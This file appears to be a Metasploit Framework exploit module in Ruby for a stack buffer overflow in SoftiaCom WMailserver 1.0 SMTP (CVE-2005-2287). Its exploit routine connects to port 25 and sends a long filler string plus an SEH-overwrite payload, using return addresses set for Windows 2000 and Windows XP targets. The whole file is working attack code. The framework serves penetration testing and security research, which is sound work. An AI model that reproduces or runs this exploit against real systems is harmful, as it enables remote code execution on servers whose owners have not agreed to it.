75 lines
1.7 KiB
Ruby
75 lines
1.7 KiB
Ruby
##
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# $Id:$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Smtp::Wmailserver < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in SoftiaCom WMailserver 1.0
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(SMTP) via a SEH frame overwrite.
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},
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-2287' ],
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[ 'BID', '14213' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Platform' => 'win',
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Targets' =>
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[
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[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 11 2005 '))
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register_options([ Opt::RPORT(25) ], self.class)
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end
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def exploit
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connect
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filler = " " + rand_text_alpha_upper(5115)
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh + rand_text_alpha_upper(200)
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print_status("Trying target #{target.name}...")
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sock.put(sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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end
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